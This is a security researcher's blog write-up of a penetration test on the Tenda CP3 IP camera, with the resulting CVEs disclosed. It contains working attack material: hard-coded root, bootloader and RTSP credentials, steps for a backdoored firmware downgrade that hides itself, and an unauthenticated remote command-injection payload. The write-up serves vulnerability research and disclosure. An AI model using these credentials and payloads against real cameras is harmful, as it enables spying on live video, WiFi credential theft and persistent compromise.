Security cameras are ubiquitous in today’s world, with millions of them installed in homes, businesses, and public spaces around the globe. These cameras are meant to provide a sense of security and surveillance, but they can also be a potential security threat if not properly secured.

Working on my master’s thesis with the support of SECloud (Security Edge and Cloud Lab), and specifically the ACES (Automotive Cyberphysical and Embedded Security) laboratory, I recently had the opportunity to perform a security assessment on an IP Camera to identify any vulnerabilities and potential risks. In this blog post, I will share my experience and insights on this assessment and discuss some of the main findings during my studies.

I would like to express my gratitude to SECloud and the ACES laboratory for their support and collaboration throughout my research. For readers who are interested in learning more about the lab and their work, I encourage you to visit their GitHub page. There you will also find a concise and synthetic description of each vulnerability listed in this post, and some additional scripts used during this study.

A scientific paper discussing this activity is accepted for publication at IWSEC 2024, and is currently available as preprint on arXiv.

Through this assessment, I hope to raise awareness about the importance of securing these kinds of devices and provide insights into how these devices can be exploited if not properly secured. Whether you are a security professional, a business owner, or a homeowner, understanding the risks and vulnerabilities associated with security cameras is crucial for ensuring the safety and privacy of yourself and those around you.

Without further ado, let’s present the star of the show, here is the “Tenda CP3 IP Camera”:

cp3

This post will cover the penetration testing activity I performed on this camera, the process is mainly divided into 2 phases:

  1. Information Gathering
  2. Exploit

Phase 1 - Information Gathering

The first step in every penetration testing activity is to gather as much information as possible about the target. In this specific case, this step is split into two parts:

  1. OSINT: Open Source Intelligence, everything publicly available about the device
  2. Firmware and Filesystem: these will be crucial for phase 2

OSINT

These are the main resources/tools we can use:

  1. Vendor Website, here it’s sometimes possible to find firmware upgrades, specs, etc…
  2. FCC Report is a good place to look for the device’s internal pictures and technical specs.
  3. Search engines, Google-Fu: improving your search engine skills will always pay you back when you are using something specific. Using search operators can make the task easier when looking for a file type or specific word on a specific website.

In this specific case, the second yields some big findings: looking at the internal pictures of the device we can easily spot two pads labeled TX and RX

uart

This is probably a serial interface, after soldering two jumper cables to the pads, connecting them to a USB-TTL CP2102 adapter and launching minicom confirm the hypothesis.

These are the settings used with minicom:

  • baud rate: 115200
  • parity: None
  • data: 8
  • stop bits: 1

When turning on the camera we can see the boot log, which gives us a lot of information about the device and its software configuration.

U-Boot 2010.06-dirty (Sep 07 2021 - 16:46:09)

DRAM:  64 MiB
master [ctl : mem] = [0 : 0]
SF: Got idcode 1c 70 17 1c 70
use default flash ops...
spi_flash_probe_default multi wire open flag is 0
Net:   FH EMAC
Press 'E' to stop autoboot:  0
master [ctl : mem] = [0 : 0]
SF: Got idcode 1c 70 17 1c 70
use default flash ops...
spi_flash_probe_default multi wire open flag is 0
verify flash image OK
load kernel 0x00050000(0x002e0000) to 0xa1000000

## Booting kernel from Legacy Image at a1000000 ...
   Image Name:   Linux-3.0.8
   Created:      2021-09-07   8:49:48 UTC
   Image Type:   ARM Linux Kernel Image (uncompressed)
   Data Size:    2816144 Bytes = 2.7 MiB
   Load Address: a0008000
   Entry Point:  a0008000
   Verifying Checksum ... OK
   Loading Kernel Image ... OK
OK
prepare atags

Starting kernel ...

Uncompressing Linux... done, booting the kernel.
[    0.000000] Linux version 3.0.8 (zt@fullhan) (gcc version 5.5.0 (b220190606) ) 2021-09-07 16:49:46
[    0.000000] CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d

Firmware and Filesystem

Before proceeding to phase 2, the last step we need to perform to complete the information-gathering process is to extract the firmware and filesystem of the device. This can be achieved in many ways. For example:

  • Shell extraction: If we have access to a shell on the device, we can work out a way to use the available commands/programs (which are often limited on embedded devices) to exfiltrate the memory’s partitions.
  • Vendor’s website: Sometimes on the vendor’s website, it’s possible to find memory images to flash on the device to restore it to factory conditions.
  • Chip-off: This is the last resort when performing this kind of activity. It involves desoldering the memory chip from the PCB and dumping its content in binary form on our machine for further analysis.

Unfortunately, we have not yet gained a shell on the device, and the vendor does not seem to offer this type of file on their website. For these reasons, we proceed to hook up a specific clip to the memory chip (cFeon Q64 - 8MB SOP8 NOR Flash) and read its content using flashrom on a Raspberry Pi (more info on the wiring here).

rpi_flashrom

Luckily we don’t need to desolder the entire chip, but only the pad connecting it to VCC, this way when connecting the clip we avoid powering the rest of the circuit which could cause the CPU to “wake up” and interfere with our communication with the memory chip. By doing so we successfully obtain a binary dump of the entire content of the device’s flash memory!

When obtaining the memory dump it is good practice to store it somewhere safe as read-only. You should also compute its sha256sum for future reference.

Now it’s time to extract the firmware and filesystem from the binary dump. While booting the device logs a lot of useful information about the flash memory layout:

[    0.000000] Kernel command line: console=ttyS0,115200 ip=192.168.1.203 mem=43M mtdparts=spi_flash:64k(bootstrap),64k(uboot-env),192k(uboot),3M(kernel),512k(data),-(app)

It seems that the following partitions are present in memory:

  1. bootstrap: 64k
  2. uboot-env: 64k
  3. uboot: 192k
  4. kernel: 3M
  5. data: 512k
  6. app: the rest

With this simple shell script, we can extract each partition:

The default bs (block size) parameter of dd is 512 Bytes, for simplicity’s sake in the script we use bs=1k since most of the sizes we have are in kB (1024 B)

#!/bin/sh -
# dd_extractor.sh - Extract partitions from the flash dump
# Usage: dd_extractor.sh <flash_dump_file>

# from the bootlog:
# 64k(bootstrap)
# 64k(uboot-env)
# 192k(uboot)
# 3M(kernel)
# 512k(data)
# -(app)

DUMP_FILE=$1

dd if=$DUMP_FILE of=bootstrap.dd bs=1k count=64
dd if=$DUMP_FILE of=uboot-env.dd bs=1k count=64 skip=64
dd if=$DUMP_FILE of=uboot.dd bs=1k count=192 skip=128
dd if=$DUMP_FILE of=kernel.dd bs=1k count=3072 skip=320
dd if=$DUMP_FILE of=data.dd bs=1k count=512 skip=3392
dd if=$DUMP_FILE of=app.dd bs=1k skip=3904

Now we can run file on each partition we extracted:

$ file *.dd
bootstrap.dd: data
uboot-env.dd: data
uboot.dd:     Spectrum .TAP data ""
kernel.dd:    u-boot legacy uImage, Linux-3.0.8, Linux/ARM, OS Kernel Image (Not compressed), 2816148 bytes, Thu May 12 07:24:55 2022, Load Address: 0XA0008000, Entry Point: 0XA0008000, Header CRC: 0XE49D9152, Data CRC: 0XCD649D8
data.dd:      Linux jffs2 filesystem data little endian
app.dd:       Squashfs filesystem, little endian, version 4.0, zlib compressed, 4049381 bytes, 124 inodes, blocksize: 131072 bytes, created: Fri Nov  4 05:56:07 2022

Both bootstrap and uboot-env do not seem to contain much else but text, we can store their content for further analysis in a txt file:

strings uboot-env.dd bootstrap.dd | sort -u > uboot_and_bootstrap.txt

uboot.dd probably contains just the uboot bootloader and kernel.dd a Linux kernel image

data.dd can be extracted using this tool it does not seem to contain anything too interesting though.

Last, but not least, app.dd can be extracted using unsquashfs app.dd, this turns into around 5 MegaBytes of very interesting data.

$ unsquashfs app.dd
Parallel unsquashfs: Using 10 processors
114 inodes (131 blocks) to write

[=================================================================|] 245/245 100%

created 109 files
created 10 directories
created 5 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
$ ls squashfs-root
abin                  customize.sh  kill_app.sh      sd_fs.sh       udhcpc.script
ap_mode.cfg           db_init.sh    lib              sd_hotplug.sh  usb_dev.sh
app_check_setting.sh  gpio.sh       mi.sh            sdio_dev.sh    userdata
app_config.sh         hdt_model     modules          sensor.def     wav
app_init.sh           idump.sh      modules.sh       shadow         wifi_mac.sh
app_init_ex.sh        iu.sh         modules_post.sh  start.sh       wifi_mode.sh
bin                   iu_s.sh       myinfo.sh        sysinfo

At this point, we have gathered enough information to proceed to phase 2: Exploit!


Phase 2 - Exploit

This phase, leveraging on the information gathered during the first phase, covers the different exploits performed on the Tenda CP3 IP Camera.

While the exploit phase of a pentest may sound exciting, it’s important not to rush into it. Taking your time during the information gathering phase will not only make the exploit phase more enjoyable but also much easier to perform.

Network Credentials Exposure

A credentials exposure vulnerability exists in the Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355. A physically proximate attacker can obtain the credentials of the WiFi network the device connects to by analyzing the boot log of the UART serial interface.

Details

Using minicom it is possible to save the captured output to a log file for further analysis. Doing so when the camera is booting up reveals that the network credentials are logged during a normal boot sequence right after connecting to the network:

...
[linkkit_client_set_property_handler_json, line:1194] set property handler(0), result: {"WifiConfiguration":{"WifiName":"wifi_network_ssid","WifiPasswd":"wifi_network_password_in_plain_text","Encryption":"WPA-PSK"}}
...

An attacker could steal the camera and monitor its boot log while the wifi network of the victim is in range and gain access to the credentials.

Physical root Access

Hard-coded, weak credentials, stored using weak encryption for user root in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows physically proximate attackers to gain root access to the device via UART

Details

Analyzing the boot log, it is possible to spot a very specific message:

Please press Enter to activate this console.

Surprisingly enough, upon pressing Enter a login prompt is shown:

(none) login:

Widely used default credentials such as root:password, root:root, root:toor do not work.

Looking into the extracted Squashfs filesystem (the so-called app partition) we see a file named shadow with the following content:

root:7h2yflPlPVV5.:18545:0:99999:7:::

John the Ripper gives more information about this hash:

$ john shadow
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 64/64])

This encryption algorithm can be easily brute-forced, more on that is explained here.

A brute-force attack, either using hashcat or john reveals the password to be tdrootfs

Trying to log in as root with password tdrootfs over the UART connection works as expected:

(none) login: root
Password:
April  20 16:40:33 login[14501]: root login on 'ttyS0'


BusyBox v1.26.2 (2021-09-07 16:47:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

[/app]#

Physical Bootloader Access

Hard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows physically proximate attackers to gain access to the device’s bootloader via UART

Details

After connecting to the UART serial interface, right before the boot process starts, this message is printed:

Press 'E' to stop autoboot

Upon pressing E as instructed this appears:

### Please input uboot password: ###

Widely used default credentials such as root, password, etc. do not work.

Knowing the password for the user root (tdrootfs) we can guess the password using a similar pattern: tduboot gives access to the bootloader’s console.

Issuing the command ? lists all the available commands.

### Please input uboot password: ###
*******
U-Boot> ?
?       - alias for 'help'
arc_go  - start application at address 'addr'
base    - print or set address offset
bootm   - boot application image from memory
bootp   - boot image via network using BOOTP/TFTP protocol
chpart  - change active partition
cmp     - memory compare
coninfo - print console devices and information
cp      - memory copy
crc32   - checksum calculation
echo    - echo args to console
editenv - edit environment variable
fastbootcmd- set boot command
fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls   - list files in a directory (default /)
go      - start application at address 'addr'
gpio    - GPIO init setting
help    - print command description/usage
kload   - load kernel
loop    - infinite loop on address range
md      - memory display
mii     - MII utility commands
mm      - memory modify (auto-incrementing address)
mmc     - MMC sub system
mmcinfo - mmcinfo <dev num>-- display MMC info
mtdparts- define flash/nand partitions
mtest   - simple RAM read/write test
mw      - memory write (fill)
nm      - memory modify (constant address)
pinctrl - Pin Ctrl
ping    - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
reset   - Perform RESET of the CPU
run     - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv  - set environment variables
sf      - SPI flash sub-system
sleep   - delay execution for some time
tftpboot- boot image via network using TFTP protocol
upgrade - usage:upgrade, set imgname to load

version - print monitor version
U-Boot>

Remote root Access

Hard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to gain root access to the device via telnet

Details

An nmap scan reveals that telnet is running on the device and listening on port 23:

# nmap -Pn 192.168.1.86 -p 23
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 12:58 CEST
Nmap scan report for 192.168.1.86
Host is up (0.047s latency).

PORT      STATE  SERVICE         VERSION
23/tcp    open   telnet

The hard-coded password for user root can be easily retrieved as previously explained in this blog post, and is now publicly available. It can be used to log in:

$ telnet 192.168.1.86 23
Trying 192.168.1.86...
Connected to 192.168.1.86.
Escape character is '^]'.
(none) login: root
Password:


BusyBox v1.26.2 (2021-09-07 16:47:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

[/app]# id
uid=0(root) gid=0(root) groups=0(root)

Live Video Feed Access

Hard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to gain access to the RTSP feed of the device

Details

An nmap scan reveals that RTSP is running on the device on port 8554:

# nmap -Pn 192.168.1.86 -p 8554
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 12:58 CEST
Nmap scan report for 192.168.1.86
Host is up (0.047s latency).

PORT      STATE  SERVICE         VERSION
8554/tcp  open   rtsp

A quick online search reveals the credentials to be admin:admin123456, and visiting rtsp://admin:admin123456@tenda_cp3_ip_address:8554/profile0 shows the live video feed from the device.

rtsp_feed

Malicious Upgrade

Missing Support for Integrity Check in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to irreversibly update the device with custom firmware

Details

Looking into the extracted Squashfs filesystem (the so-called app partition) reveals the script iu.sh, with the following usage method:

usage() {
  echo "Usage: /home/iu.sh [options]"
  echo "       options:"
  echo "           -f <image file>  : upgrade /home/image_file"
  echo "           -t               : tftp upgrade"
  echo "           -r <image file>  : tftp server image file"
  echo "           -h <host ip>     : tftp server ip"
  echo "           -u               : enable upgrade uboot"
  echo "           -c               : just check image file"
  echo "           -a               : always upgrade app"
  echo "           -e               : force upgrade"
  echo "           -d               : upgrade data"
  echo "           -l               : upgrade resource"
  echo "           -s               : SD upgrade"
  echo "           -k               : keep uboot env"
}

Simply running this script on the device prompts this message: Not found image file /home/Flash.img

These are the steps needed to trigger a system upgrade:

  1. Run a Python HTTP server in the folder holding flash_dump.bin: python3 -m http.server
  2. On the camera, retrieve the dump and start a forced upgrade: wget machine_addr:port/flash_dump.bin -O /home/Flash.img && iu.sh -e

The camera will play a notification upon starting and completing the upgrade and log the following:

[/app]# wget 192.168.1.47:8000/dump.bin -O /home/Flash.img && iu.sh -e
Connecting to 192.168.1.47:8000 (192.168.1.47:8000)
Flash.img            100% |**************************************|  8192k  0:00:00 ETA
upgrade begin
@@@@@@@@@@ AUDIO_PLAY /home/upgrade_ing.wav
[gpio_ao_mute]21
gpio_ao_mute=21
gpio_ao_mute_val=0
audio_play /home/upgrade_ing.wav period[320] volume[30] recur[0]
AC version:             V1.0.0(gbb0b659)
FH_AC_NR_SetConfig[1,1] OK!!!
FH_AC_AO_Disable ok
FH_AC_Set_Config ok
FH_AC_AO_Enable ok
FH_AC_AO_SETVOL ok
FH_AC_AO_Disable ok
udhcpc killed
jffs2_gcd_mtd4 killed
dev_ctrl killed
noodles killed
/home/img_up -f /home/Flash.img -F
kernel crc src<ad0ef36b> == dst<ad0ef36b>
app crc src<566ee2e4> != dst<7a9ba0cf>
upgrade flag(0x80000001): |app|(verify)|
Veriry unknown
upgrade FW: mode="TD-L33DS0802" product_no="28190802" ver="8809201149" ==> mode="TD-L33DS0802" product_no="28190802" ver="2209201149"
erase updated image info OK: mtd=kernel, mtd_offset=2f0000
[Total:100%] Program OK: mtd=app, offset=0x3d0000, size=0x430000
Write updated image info OK: mtd=kernel, mtd_offset=2f0000
Upgrade finished, takes 14564 ms
upgrade end
@@@@@@@@@@ AUDIO_PLAY /home/upgrade_suc.wav
[ut_config_load_ex, line:41] ERROR: Open file fail: /app/abin/board.cfg
init hw_config err!
gpio_ao_mute=21
gpio_ao_mute_val=0
audio_play /home/upgrade_suc.wav period[320] volume[30] recur[0]
AC version:             V1.0.0(gbb0b659)
FH_AC_NR_SetConfig[1,1] OK!!!
FH_AC_AO_Disable ok
FH_AC_Set_Config ok
FH_AC_AO_Enable ok
FH_AC_AO_SETVOL ok
Burn flash finished, reboot

An attacker could potentially perform a malicious upgrade on a camera by modifying its firmware or filesystem and introducing a backdoor. This can be accomplished by “forcing” the upgrade, which allows the camera to be downgraded to a previous firmware version. To avoid detection, the attacker could edit the sysinfo/fw_ver file inside the Squashfs filesystem to indicate that the installed version is the latest available, preventing the phone app from proposing any updates even though the installed version is not the latest available.

More in detail:

  1. Extract the app partition and its Squashfs filesystem from the flash dump
  2. Inside sysinfo/fw_ver edit fw_ver to a future date, i.e. 9912312359
  3. Compress the Squashfs filesystem: mksquashfs squashfs-root my_app.dd
  4. Copy the original dump to my_dump.bin and embed the edited app partition within it: dd if=my_app.dd of=my_dump.bin seek=7808 count=8576 conv=notrunc
  5. Randomize the app’s 4 bytes CRC stored in the dump at offset 0x234: dd if=/dev/urandom of=my_dump.bin bs=1 count=4 seek=564 conv=notrunc
  6. As previously explained, run the Python server, copy the newly created dump to the camera as /home/Flash.img and launch a forced upgrade with iu.sh -e

The update will be successfully recognized by the device and the app as the latest version.

cp3

This attack is particularly dangerous, an attacker could buy cameras, modify them and then return them to the vendor, or gift a modified device to a victim and so on…

Unauthenticated Remote Code Execution

Improper Neutralization of Special Elements used in a Command in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to execute arbitrary commands on the device as root

Details

Running netstat on the device reveals the following:

# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      1116/inetd
tcp        0      0 0.0.0.0:1300            0.0.0.0:*               LISTEN      8518/noodles
tcp        0      0 0.0.0.0:843             0.0.0.0:*               LISTEN      8518/noodles
tcp        0      0 0.0.0.0:6688            0.0.0.0:*               LISTEN      997/apollo
tcp        0      0 0.0.0.0:8554            0.0.0.0:*               LISTEN      997/apollo
tcp        0      0 0.0.0.0:8699            0.0.0.0:*               LISTEN      997/apollo
tcp        0      0 0.0.0.0:9876            0.0.0.0:*               LISTEN      997/apollo
udp        0      0 0.0.0.0:19966           0.0.0.0:*                           997/apollo
udp        0      0 0.0.0.0:3702            0.0.0.0:*                           997/apollo
udp        0      0 0.0.0.0:5012            0.0.0.0:*                           8518/noodles
udp        0      0 0.0.0.0:5683            0.0.0.0:*                           997/apollo

apollo and noodles are two binaries located inside the Squashfs filesystem within the app partition in the abin folder. CVE-2023-23080 exploits a vulnerability in noodles on port 1300, more info on that here

A quick analysis reveals that they are compressed using upx:

$ grep -a -i upx noodles apollo
noodles:$Info: This file is packed with the UPX executable packer http://upx.sf.net
noodles:$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved.
apollo:$Info: This file is packed with the UPX executable packer http://upx.sf.net
apollo:$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved.
$ upx -d apollo noodles # uncompress the binaries
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2023
UPX 4.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 30th 2023

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   5429884 <-   1889696   34.80%    linux/arm    apollo
    150072 <-     67596   45.04%    linux/arm    noodles
   --------------------   ------   -----------   -----------
   5579956 <-   1957292   35.08%                 [ 2 files ]

Unpacked 2 files.

apollo is about 36 times the size of noodles, making the latter a good first candidate to reverse engineer. After decompressing it, it’s possible to open it using ghidra.

After a thorough analysis of the code, it’s possible to identify three main entities:

  1. The main function, listening on port TCP 1300
  2. The policy thread, listening on port UDP 843
  3. The multicast thread, listening on port UDP 5012

The main function has already been exploited in CVE-2023-23080

The policy thread seems to be simply waiting for the string “policy-file-request” to which it will respond "<?xml version=\"1.0\"?><cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\"/></cross-domain-policy>" this XML-formatted string is used to define a cross-domain policy that allows access to the camera from any domain and port.

The multicast thread awaits an XML formatted string, similar to the main function, it is possible to achieve unauthenticated remote code execution with the following string:

<YGMP_CMD><CMAC></CMAC><TARGET>camera_ip_here</TARGET><MAC>10:20:30:40:50:60</MAC><CMD>touch /tmp/pwn</CMD></YGMP_CMD>

The IP inside <TARGET> must match the camera’s IP. The MAC address as well must match the one of the camera, altough testing the same string worked on two different cameras

Final Thoughts

In conclusion, the main finding for this device are:

  1. Network Credentials Exposure
  2. Physical root Access
  3. Physical Bootloader Access
  4. Remote root Access
  5. Live Video Feed Access
  6. Malicious Upgrade
  7. Unauthenticated Remote Code Execution

For each one of these vulnerabilities a CVE ID has been requested, resulting in the following:

  1. CVE-2023-30351: hard-coded credentials
  2. CVE-2023-30352: RTSP feed access
  3. CVE-2023-30353: Unauthenticated RCE
  4. CVE-2023-30354: Physical access and WiFi credentials disclosure
  5. CVE-2023-30356: Missing support for Integrity Check

It is concerning that many devices marketed as “secure” are found to have serious security vulnerabilities that can be exploited by attackers. The proliferation of these devices, coupled with the fact that many users are not aware of the risks they pose, creates a significant threat to both personal privacy and security.

As a society, we need to rethink the way we trust these types of devices and take a more proactive approach to securing them. This includes demanding more transparency from manufacturers about the security features and risks associated with their products, as well as taking steps to secure devices ourselves by using strong passwords, keeping software up to date, and limiting access to sensitive data.

If you made it this far, I thank you for your attention and hope you learned something reading this article, because I sure did learn a lot while writing it!